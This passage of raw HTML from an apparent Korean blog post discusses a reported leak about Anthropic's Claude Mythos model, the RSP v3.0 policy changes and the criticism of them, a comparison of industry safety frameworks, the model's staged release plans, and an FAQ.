&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;의도적으로 미정의. 향후 고역량 수준 확인 시 개발 예정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;일방적 vs 업계 공동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;앤트로픽 단독 약속&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;단독 조치 + 업계 공동 권고 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;새 추가 요소&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Frontier Safety Roadmaps + Risk Reports 도입&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 바꿨나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 이 변경에 대해 다음과 같이 설명한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;RSP v3.0 공식 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논리 1 &amp;mdash; 경쟁 현실&lt;/b&gt;: 경쟁사들이 개발을 멈추지 않는 상황에서 앤트로픽만 일방적으로 개발을 중단해도 AI 위험을 줄이는 효과가 없다. 오히려 더 안전 의식이 낮은 회사가 프론티어를 장악하는 결과를 낳는다는 논리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논리 2 &amp;mdash; 집단 행동 필요&lt;/b&gt;: 상위 ASL의 위험은 단일 회사가 감당하기 어렵다. RSP v3.0은 더 높은 수준의 안전 조치는 업계 전체 또는 정부 차원의 공동 행동이 필요하다고 명시하며, 앤트로픽의 단독 약속이 아닌 업계 권고 사항으로 분류한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비판과 반론&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1010&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckeAVP/dJMcadnTlAH/10rhTAtrY2JwAX7VIqvynK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckeAVP/dJMcadnTlAH/10rhTAtrY2JwAX7VIqvynK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckeAVP/dJMcadnTlAH/10rhTAtrY2JwAX7VIqvynK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckeAVP%2FdJMcadnTlAH%2F10rhTAtrY2JwAX7VIqvynK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1930&quot; height=&quot;1010&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1010&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 변경은 AI 안전 커뮤니티에서 상당한 비판을 받았다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.safer-ai.org/anthropics-responsible-scaling-policy-update-makes-a-step-backwards&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SaferAI 분석&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비판 측 주요 논거&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;&quot;경쟁사가 하니까 나도 한다&quot;는 논리는 군비 경쟁(arms race)을 정당화하는 레이스 투 더 바텀(race to the bottom)이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;기존 &quot;pause 약속&quot;이 앤트로픽의 안전 우선 철학의 핵심 차별화 요소였는데, 이를 삭제하면 다른 회사들과 구분이 어려워진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;RAND 보고서는 ASL-4급 보안 표준이 &quot;현재 불가능하며 국가 보안 커뮤니티의 지원이 필요하다&quot;고 지적하는데, 이 현실을 인정하면서도 개발을 계속하는 것은 모순이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;앤트로픽 측 반론&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;기존 ASL-3 보호 조치는 완전히 유지한다. 낮추는 것이 아니라 조건을 명확히 하는 것이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;새로 도입된 Frontier Safety Roadmaps와 Risk Reports는 오히려 투명성을 높이는 조치다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;안전 의식이 낮은 회사들이 프론티어를 차지하는 것보다, 안전을 중시하는 앤트로픽이 계속 선두를 유지하는 것이 장기적으로 더 안전하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;업계 정책 비교 &amp;mdash; OpenAI&amp;middot;Google과의 수렴과 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;RSP v3.0의 변화를 Anthropic만의 안전 후퇴로 보기 전에, 경쟁사의 정책 방향도 함께 봐야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론티어 AI 안전 정책 비교 (2025~2026)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff; width: 12.4694%;&quot;&gt;회사&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff; width: 22.6161%;&quot;&gt;정책명 / 발표&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff; width: 64.7922%;&quot;&gt;핵심 구조&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 12.4694%;&quot;&gt;&lt;b&gt;Anthropic&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 22.6161%;&quot;&gt;RSP v3.0 (2026-02-24)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 64.7922%;&quot;&gt;ASL capability thresholds + Risk Reports + Frontier Safety Roadmaps + competitor-contingent commitments&lt;br /&gt;&lt;br /&gt;(ASL 역량 임계값 + 위험 보고서(Risk Reports) + Frontier Safety 로드맵 + 경쟁사 조건부 약속)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 12.4694%;&quot;&gt;&lt;b&gt;OpenAI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 22.6161%;&quot;&gt;Preparedness Framework (2025-04-15 개정)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 64.7922%;&quot;&gt;Tracked Categories + High/Critical capability 등급 + Capabilities Reports + Safeguards Reports&lt;br /&gt;&lt;br /&gt;추적 대상 카테고리 + High/Critical 역량 등급 + 역량 보고서(Capabilities Reports) + 보호조치 보고서(Safeguards Reports)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 12.4694%;&quot;&gt;&lt;b&gt;Google DeepMind&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 22.6161%;&quot;&gt;Frontier Safety Framework v3 (2025-09-22)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 64.7922%;&quot;&gt;CCL(Critical Capability Level) + alert thresholds + safety case reviews + CCL 도달 시 mitigations 의무화&lt;br /&gt;&lt;br /&gt;CCL(중대한 역량 수준, Critical Capability Level) + 경보 임계값(alert thresholds) + 안전성 검토(safety case reviews) + CCL에 도달했을 때 완화 조치(mitigations) 의무화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-style: italic; color: #666; font-size: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;※ OpenAI Preparedness Framework 개정일은 2025-04-15 기준. Google FSF v3는 2025-09-22. [출처: 각 회사 공식 문서]&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세 회사 모두 &lt;b&gt;단독 pause 약속보다 구조화된 능력 평가 + 조건부 조치&lt;/b&gt; 방향으로 수렴하고 있다. Anthropic이 RSP v3.0에서 pause 약속을 삭제한 것은 업계 고립적 후퇴가 아니라, 이 수렴 흐름의 일부다. 그러나 비판론자들은 세 회사 모두 &quot;자기 평가 + 자기 결정&quot;이라는 구조적 한계를 공유한다고 지적한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI RSP v3.0 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 7 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 출시 전략 &amp;mdash; 신중한 단계적 배포&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;얼리 액세스 &amp;rarr; 사이버 방어 우선&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byyfW2/dJMcaipffCo/qW6k8KWnSSNUcRkVkdLvck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byyfW2/dJMcaipffCo/qW6k8KWnSSNUcRkVkdLvck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byyfW2/dJMcaipffCo/qW6k8KWnSSNUcRkVkdLvck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyyfW2%2FdJMcaipffCo%2FqW6k8KWnSSNUcRkVkdLvck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1082&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽 대변인은 &quot;소수의 얼리 액세스 고객과 협력하여 모델을 테스트하고 있다&quot;고 공식 확인했다. 유출 문서에는 이 전략의 방향이 더 구체적으로 서술됐다. (출처: Fortune, 2026-03-26)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #b3d9ff;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;유출 문서의 출시 단계 전략 (초안 기반)&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px; line-height: 1.6;&quot;&gt;&lt;b&gt;Phase 1:&lt;/b&gt; 소수 얼리 액세스 고객 대상 테스트 (현재 진행 중)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px; line-height: 1.6;&quot;&gt;&lt;b&gt;Phase 2:&lt;/b&gt; 사이버 방어 조직 우선 출시 &amp;mdash; 코드베이스 견고성 향상 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px; line-height: 1.6;&quot;&gt;&lt;b&gt;Phase 3:&lt;/b&gt; 일반 정식 출시 (수개월 후 예상)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&quot;사이버 방어 조직 우선&quot; 출시 계획은 유출된 &lt;b&gt;초안 문서&lt;/b&gt;에서 언급된 것으로, 앤트로픽이 공식 보도자료로 확인한 내용은 아니다. 최종 출시 전략은 변경될 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;정식 출시 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출 문서에는 &quot;모델 운영 비용이 많이 들고, 아직 일반 출시 준비가 되지 않았다&quot;는 표현이 포함됐다. 앤트로픽은 &quot;이 모델의 강력한 기능을 고려해 출시 방식을 신중하게 결정하고 있다&quot;고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 분석가들은 연구용 미리보기(Research Preview) 형태의 제한적 공개가 먼저 이뤄지고, 정식 출시까지는 수개월이 더 걸릴 것으로 예상한다. 국가 안보급 리스크를 동반하는 모델에는 RSP 규정상 최소 수개월의 안전성 검증 기간이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 8 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 개발자&amp;middot;보안 전문가에게 주는 시사점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Mythos 유출이 단순한 IT 뉴스가 아닌 이유는, 이것이 소프트웨어 개발 생태계 전체에 직접적인 영향을 미치는 변화의 신호이기 때문이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvel6i/dJMb99Z90mi/giBKN80gArTvG39WtXQvi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvel6i/dJMb99Z90mi/giBKN80gArTvG39WtXQvi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvel6i/dJMb99Z90mi/giBKN80gArTvG39WtXQvi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcvel6i%2FdJMb99Z90mi%2FgiBKN80gArTvG39WtXQvi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1090&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 관점&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;개발자가 지금 준비해야 할 것들&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;코드 보안 강화 선제 대응&lt;/b&gt;: 앤트로픽이 사이버 방어 조직에 먼저 접근권을 주려는 이유는 공격 AI에 선제 대응하도록 돕기 위해서다. 코드베이스의 보안 취약점을 지금 점검하는 것이 현명하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 기반 코드 리뷰 도구 적극 활용&lt;/b&gt;: Claude Code, GitHub Copilot Security 등 AI 기반 보안 스캔 도구의 활용이 더욱 중요해질 것이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Capybara 계층 접근 준비&lt;/b&gt;: 사이버 방어 용도의 얼리 액세스 프로그램이 열릴 경우, 신청할 명분을 미리 준비해 두면 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 전문가 관점&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 관점 시사점&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;b&gt;AI 기반 공격 시뮬레이션 준비&lt;/b&gt;: 적대적 AI가 자동으로 취약점을 찾는 환경에서의 방어 전략이 필요하다.&lt;br /&gt;&amp;bull; &lt;b&gt;패치 사이클 단축&lt;/b&gt;: AI가 취약점을 방어자보다 빠르게 찾는다면, 취약점 발견 &amp;rarr; 패치 배포까지의 시간을 줄이는 것이 핵심이다.&lt;br /&gt;&amp;bull; &lt;b&gt;얼리 액세스 프로그램 주목&lt;/b&gt;: 앤트로픽이 방어자 우선 배포를 계획하고 있다면, 보안 팀이 이 프로그램에 참여해 모델을 먼저 이해하는 것이 전략적으로 유리하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 산업 거시적 관점&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJDzv/dJMcaiCKw0w/wq0duwIUCY6BHHsMItRBbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJDzv/dJMcaiCKw0w/wq0duwIUCY6BHHsMItRBbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJDzv/dJMcaiCKw0w/wq0duwIUCY6BHHsMItRBbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJDzv%2FdJMcaiCKw0w%2Fwq0duwIUCY6BHHsMItRBbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1060&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 유출은 AI 업계에 두 가지 큰 메시지를 던진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째&lt;/b&gt;, AI 능력이 안전 통제보다 빠르게 발전하고 있다는 신호가 이미 업계 내부에서 인식되고 있다. 앤트로픽이 자체 모델을 &quot;전례 없는 사이버보안 위험&quot;이라고 내부 문서에 적은 것은 이례적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째&lt;/b&gt;, RSP v3.0에서 pause 약속을 삭제한 것은 &quot;AI 안전이 경쟁 현실 앞에서 후퇴하는가&quot;라는 근본적인 질문을 제기한다. 이 논쟁은 Claude Mythos 정식 출시 전후로 더욱 격화될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- FAQ --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;margin: 30px 0;&quot;&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: Claude Mythos는 지금 사용할 수 있나?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 2026년 3월 현재 일반 사용은 불가능하다. 소수 얼리 액세스 고객과의 테스트 단계다. 앤트로픽은 모델의 강력한 기능을 고려해 신중하게 출시 방식을 결정 중이라고 밝혔다. 일반 출시까지는 수개월이 더 걸릴 것으로 예상된다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: Claude Mythos와 Capybara는 같은 모델인가?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: Fortune 원본 보도에 따르면 두 이름이 동일 모델을 가리킨다. 유출된 초안 블로그의 서로 다른 버전에서 각각 사용됐다. 다만 Capybara가 독립 계층 이름인지, 모델 후보명인지는 Anthropic이 공식 확인하지 않았다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: RSP에서 삭제된 &quot;pause 약속&quot;이란 무엇인가?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 이전 RSP에는 안전 완화 조치를 보장하지 못하면 모델 개발을 중단한다는 하드 커밋먼트가 있었다. RSP v3.0(2026-02-24)에서 이 단독 pause 조항이 삭제됐다. 단순히 '경쟁 선두 + 재앙적 위험' 조건으로 대체된 것이 아니라, 회사 자체 계획과 산업 전체 권고를 분리하고 Risk Reports&amp;middot;external review&amp;middot;competitor-contingent commitments를 포함한 다층 구조로 전환됐다. 참고로 &quot;경쟁 선두&quot; 조건은 중단 트리거의 직접 조건이 아니라 완화 조치 강도를 결정하는 데 반영되는 요소다. (출처: Anthropic RSP v3.0 전문 Appendix A; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot;&gt;GovAI RSP v3.0 분석&lt;/a&gt;)&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: Claude Mythos가 공식 ASL-4 모델로 분류되나?&lt;/div&gt;
&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 아니다. Anthropic이 공식적으로 ASL-4로 분류한 적이 없다. 더불어 ASL-4 자체가 RSP v3.0에서 아직 정식으로 정의되지 않은 단계다. 여러 매체의 &quot;ASL-4 임박&quot; 분석은 내부 문서의 사이버보안 경고를 근거로 한 추정이다.&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 20px; background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff;&quot;&gt;
&lt;div style=&quot;font-weight: bold; margin-bottom: 8px; color: #1a3a52;&quot;&gt;Q: 이번 유출이 개발자에게 미치는 직접적 영향은?&lt;/div&gt;
